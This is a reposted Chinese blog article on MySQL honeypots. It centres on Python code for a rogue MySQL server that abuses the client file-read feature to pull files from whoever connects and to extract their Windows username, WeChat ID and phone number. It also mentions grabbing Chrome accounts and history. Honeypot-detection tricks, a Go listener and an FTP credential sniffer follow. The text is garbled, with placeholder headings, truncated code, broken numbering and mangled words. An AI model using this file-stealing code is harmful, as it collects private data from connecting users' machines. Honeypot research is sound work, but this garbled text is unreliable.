核心代码分析

核心代码分析设计蜜罐架构 本例中 我们将使用 Python 和 Scapy 库实现一个网络蜜罐 模拟一个 FTP 服务器

大家好,欢迎来到IT知识分享网。

核心代码分析

下面的代码主要有两个作用

  1. 判断是否为扫描器或者密码爆破工具,进行交互握手,效果是扫描器直接爆3306弱口令。
  2. 如果是直接连接,去读取设定好的文件,并写入本地保存。
    这些函数用于从MySQL数据库中获取指定文件的内容。它接收一个文件名、连接和地址作为输入参数。它创建一个日志目录,用于存储获取到的文件内容。它通过连接发送和接收数据,以检索文件内容。如果检索到的内容大于6个字节,则将其写入日志目录中的文件,并返回一个包含True值和内容的元组。否则,返回一个包含False值和内容的元组。
def mysql_get_file_content(filename,conn,address): logpath = os.path.abspath('.') + "/log/" + address[0] if not os.path.exists(logpath): os.makedirs(logpath) conn.sendall("xxx") try: conn.recv() except Exception as e: print(e) try: conn.sendall("xx") res1 = conn.recv() # SHOW VARIABLES if 'SHOW VARIABLES' in res1: conn.sendall("xxx") res2 = conn.recv(9999) if 'SHOW WARNINGS' in res2: conn.sendall("xxx") res3 = conn.recv(9999) if 'SHOW COLLATION' in res3: conn.sendall("xxx") res4 = conn.recv(9999) if 'SET NAMES utf8' in res4: conn.sendall("xxx") res5 = conn.recv(9999) if 'SET character_set_results=NULL' in res5: conn.sendall("xxx") conn.close() else: conn.close() else: conn.close() else: conn.close() else: try: wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename conn.sendall(wantfile) content='' while True: data = conn.recv(1024) print len(data) content += data if len(data) < 1024: print 'ok' break conn.close() item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random()) if len(content) > 6: with open(item, "w") as f: f.write(content) f.close() return (True,content) else: return (False,content) except Exception as e: print (e) except Exception as e: print (e)

为防止读取文件内容不完整,可以加入while循环。

while True: conn, address = sv.accept() first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") global files1 global username global wx_id file=files1[0].replace('Administrator',username).replace('wx_id',wx_id) res,content = mysql_get_file_content(file,conn,address) files1.append(files1[0]) files1.remove(files1[0]) if res: if 'PFRO' in file: username = get_username(content) s= "xx" % (xx) cursor.execute(s) data = cursor.fetchall() if len(data)==0: s = "XX" % (xx) cursor.execute(s) db.commit() print 'success:'+ file insert_file(file,address,username) elif 'config.data'in file: content = content wxid = re.findall(r'WeChatFiles\(.*)\config', content)[0] sql = "xxx" % (xxx) cursor.execute(sql) db.commit() wx_id=wxid img = qrcode.make('weixin://contacts/profile/'+wxid) img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png') print 'success:'+ file insert_file(file,address,username) elif 'AccInfo' in file: content = content phone = re.findall(r'[0-9]{11}', content)[-1] sql = "xxx" % (xxx) cursor.execute(sql) db.commit() print 'success:'+ file insert_file(file,address,username) else: files1=files username='Administrator'

部署方法:

核心代码分析

使用方法

攻击者通常会发现我们网站的一些漏洞,我们这里使用蜜罐技术,故意暴露我们的数据库,我们数据库这里设置弱口令,让攻击者可以连接。

 核心代码分析

攻击者在使用navicat连接我们的数据库时成功后,我们可以执行代码,读取到它的手机号、微信号、地址

核心代码分析核心代码分析

读取Chrome账号和历史记录

MYsql蜜罐识别

协议识别

核心代码分析

 

环境特征

核心代码分析

指纹识别

  1. 蜜罐很多都是模拟响应
  2. 某个蜜罐很火很多人去用
  3. 既然是模拟那就一定会是代码模拟
  4. 有代码模拟==一定存在有规律的响应
  5. 有规律的响应== 可以总结出指纹
  6. 总结出指纹 == 被网络测绘系统识别
  7. 蜜罐魔改 改变模拟的响应 接着跳回2.核心代码分析

 

其它方法

通过ThreadId 识别蜜罐

通过Salt(盐) 识别蜜罐

通过Mysql拉黑机制来判断目标是否为蜜罐

通过登录验证识别蜜罐

 

蜜罐的开发:

python开发

  1. 选择蜜罐类型:根据需要选择合适的蜜罐类型,如网络蜜罐、系统蜜罐、应用程序蜜罐等。
  2. 设计蜜罐架构:设计蜜罐系统的架构,包括模拟的系统或服务、可用的协议、数据收集和分析等方面。
  3. 实现蜜罐功能:使用Python编写代码实现蜜罐的功能,如模拟协议、收集攻击数据、生成报告等。
  4. 选择合适的Python库:使用Python库可以简化蜜罐的开发过程,如Scapy用于网络流量分析、PyQt用于图形用户界面设计、Pandas用于数据分析等。
  5. 实现数据收集和分析:使用Python编写代码实现数据收集和分析功能,如将攻击数据保存到数据库、使用机器学习算法分析攻击模式等。
  6. 测试和优化:对蜜罐进行测试和优化,发现和修复漏洞,提高蜜罐的可用性和安全性。
    Twisted 是一个基于事件的互联网应用程序框架,支持 Python 3.6+。它包括用于许多不同目的的模块,包括:
    ● twisted.web: HTTP 客户端和服务器、HTML 模板和 WSGI 服务器
    ● twisted.conch: SSHv2 和 Telnet 客户端和服务器以及终端仿真器
    ● twisted.words:用于 IRC、XMPP 和其他 IM 协议的客户端和服务器
    ● twisted.mail: IMAPv4、POP3、SMTP 客户端和服务器
    ● twisted.positioning: 与 NMEA 兼容的 GPS 接收器通信的工具
    ● twisted.names: DNS 客户端和工具,用于制作您自己的 DNS 服务器
    ● twisted.trial:与基于 Twisted 的代码很好地集成的单元测试框架。
    只需要在对应的位置返回模拟端口服务的响应即可完成低交互核心代码分析








FTP蜜罐

package main import ( "fmt" "net" ) func main() { port := 8080 // 监听端口 listener, err := net.Listen("tcp", fmt.Sprintf(":%d", port)) if err != nil { panic(err) } defer listener.Close() fmt.Printf("Listening on port %d...\n", port) // 接受连接 for { conn, err := listener.Accept() if err != nil { fmt.Printf("Failed to accept connection: %s\n", err) continue } // 处理连接 go handleConnection(conn) } } func handleConnection(conn net.Conn) { // 记录连接信息 remoteAddr := conn.RemoteAddr().String() fmt.Printf("Connection from %s\n", remoteAddr) // 读取数据 buf := make([]byte, 1024) n, err := conn.Read(buf) if err != nil { fmt.Printf("Failed to read data from %s: %s\n", remoteAddr, err) return } // 打印数据 fmt.Printf("Data from %s: %s\n", remoteAddr, string(buf[:n])) // 关闭连接 conn.Close() }

可以监听端口8080,并记录所有连接信息。可以根据需要扩展该代码,添加攻击检测和响应功能,以实现网络蜜罐的基本功能。

总结:

攻击:

防御:

  1. 设计蜜罐架构:本例中,我们将使用Python和Scapy库实现一个网络蜜罐,模拟一个FTP服务器。我们将收集攻击者的IP地址、用户名和密码,并将它们保存到一个数据库中。
  2. 实现蜜罐功能:我们使用Python编写代码实现蜜罐的功能。具体来说,我们使用Scapy库编写代码来监听FTP流量,解析FTP命令和参数,记录攻击者的IP地址、用户名和密码,并将它们保存到一个SQLite数据库中。以下是代码示例:
    from scapy.all import * def handle_ftp(pkt): if pkt.haslayer(TCP) and pkt.haslayer(Raw): if pkt[TCP].dport == 21: data = pkt[Raw].load.decode('utf-8', errors='ignore') if 'USER' in data: username = data.split('USER ')[1].strip() print('Username: {}'.format(username)) elif 'PASS' in data: password = data.split('PASS ')[1].strip() print('Password: {}'.format(password)) attacker_ip = pkt[IP].src save_to_db(attacker_ip, username, password) def save_to_db(ip, username, password): conn = sqlite3.connect('attacks.db') c = conn.cursor() c.execute('INSERT INTO attacks (ip, username, password) VALUES (?, ?, ?)', (ip, username, password)) conn.commit() conn.close() if __name__ == '__main__': sniff(filter='tcp', prn=handle

    go开发

  3. 选择蜜罐类型:网络蜜罐。
  4. 设计蜜罐架构:蜜罐由以下模块组成:
    ● 捕获模块:监听网络流量,识别攻击流量,并将攻击流量发送给分析模块。
    ● 分析模块:对攻击流量进行分析,提取攻击特征,并将分析结果发送给响应模块。
    ● 响应模块:根据分析结果,生成虚假响应,向攻击者发送虚假数据,同时记录攻击行为和攻击者信息。


  5. 开发蜜罐程序:
    ● 捕获模块:使用Go语言编写网络监听程序,监听指定端口的网络流量,并识别攻击流量。
    ● 分析模块:使用Go语言编写攻击流量分析程序,提取攻击特征,并将分析结果发送给响应模块。
    ● 响应模块:使用Go语言编写虚假响应生成程序,根据分析结果生成虚假数据,并向攻击者发送虚假数据。


  6. 集成第三方组件:蜜罐集成了MySQL数据库,用于存储攻击日志和攻击者信息。
  7. 测试和优化:进行系统测试和性能优化,确保蜜罐的稳定性和可靠性。
    监听8080端口
    ,该蜜罐可以监听端口并记录所有连接:

  8. SQL注入攻击:攻击者通过构造恶意SQL语句,来获取敏感数据或控制数据库服务器。防御措施包括使用参数化查询、限制数据库用户权限、过滤输入数据等。
  9. 暴力激活成功教程攻击:攻击者通过暴力激活成功教程密码的方式,来获取数据库服务器的访问权限。防御措施包括使用强密码、限制登录次数、启用多因素认证等。
  10. 信息泄露攻击:攻击者通过获取数据库服务器的信息,来了解数据库服务器的结构和配置,以便进行下一步攻击。防御措施包括限制数据库用户权限、禁止远程访问、启用SSL加密等。
  11. 加强安全配置:在MySQL蜜罐中,需要加强安全配置,比如限制数据库用户权限、禁用远程访问、限制登录次数等。
  12. 监控攻击行为:在MySQL蜜罐中,需要实时监控攻击行为,比如记录攻击日志、分析攻击特征等。
  13. 响应攻击行为:在MySQL蜜罐中,需要及时响应攻击行为,比如生成虚假数据、发送警报信息等。
  14. 更新和升级:在MySQL蜜罐中,需要定期更新和升级系统和软件,以保持安全性和稳定性。

 

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/114738.html

(0)
上一篇 2025-12-07 07:15
下一篇 2025-12-07 07:26

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信